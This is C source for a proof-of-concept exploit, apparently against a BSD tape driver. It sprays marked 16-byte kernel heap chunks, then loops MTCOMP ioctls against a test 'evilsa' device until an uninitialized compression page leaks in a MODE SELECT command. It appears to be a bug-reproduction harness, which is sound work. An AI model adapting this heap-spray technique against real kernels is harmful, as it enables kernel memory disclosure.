/*
 * poc_comp.c -- DF-5284 trigger: MTCOMP against the evilsa device with
 * debug.evilsa.nocomp=1, after spraying marked 16B chunks so sasetparams'
 * ccomp kmalloc(16) reuses one.  Loops until the kernel reports a 28-byte
 * MODE SELECT (i.e. the uninitialized compression page was transmitted).
 *
 * Must run as root, pinned to one CPU ("usched :1 ./poc_comp") for
 * stable per-CPU magazine reuse.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mtio.h>
#include <sys/sysctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int
sysctl_int(const char *name, int *val)
{
	size_t len = sizeof(*val);

	return (sysctlbyname(name, val, &len, NULL, 0));
}

static int
sysctl_set(const char *name, int val)
{

	return (sysctlbyname(name, NULL, NULL, &val, sizeof(val)));
}

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/nsa0";
	struct mtop mt;
	int fd, i, m28 = 0, one = 1;

	fd = open(dev, O_RDWR);
	if (fd < 0)
		err(1, "open %s", dev);
	printf("opened %s\n", dev);

	/* mount happened with the benign personality (compression page OK) */
	if (sysctl_set("debug.evilsa.nocomp", 1) != 0)
		err(1, "sysctl evilsa.nocomp=1");
	printf("evilsa.nocomp=1 (MODE SENSE 0x0f/0x10 -> CAM_REQ_INVALID)\n");

	/* spray marked 16B chunks so ccomp reuses one */
	if (sysctl_set("debug.evilsa.spray16", 1) != 0)
		err(1, "sysctl evilsa.spray16");
	printf("sprayed+freed marked 16B chunks\n");

	for (i = 0; i < 128; i++) {
		memset(&mt, 0, sizeof(mt));
		mt.mt_op = MTCOMP;
		mt.mt_count = 1;		/* calg: default compression */
		if (ioctl(fd, MTIOCTOP, &mt) < 0) {
			printf("attempt %3d: MTCOMP: %s\n", i, strerror(errno));
		} else {
			printf("attempt %3d: MTCOMP ok\n", i);
		}
		if (sysctl_int("debug.evilsa.msel28", &m28) != 0)
			err(1, "sysctl evilsa.msel28");
		if (m28 > 0) {
			printf(">>> 28-byte MODE SELECT captured after %d "
			    "attempts (uninit compression page transmitted)\n",
			    i + 1);
			sysctl_set("debug.evilsa.msel_dump", 1);
			close(fd);
			return (0);
		}
	}
	printf("no 28-byte MODE SELECT seen after 128 attempts\n");
	close(fd);
	return (1);
}
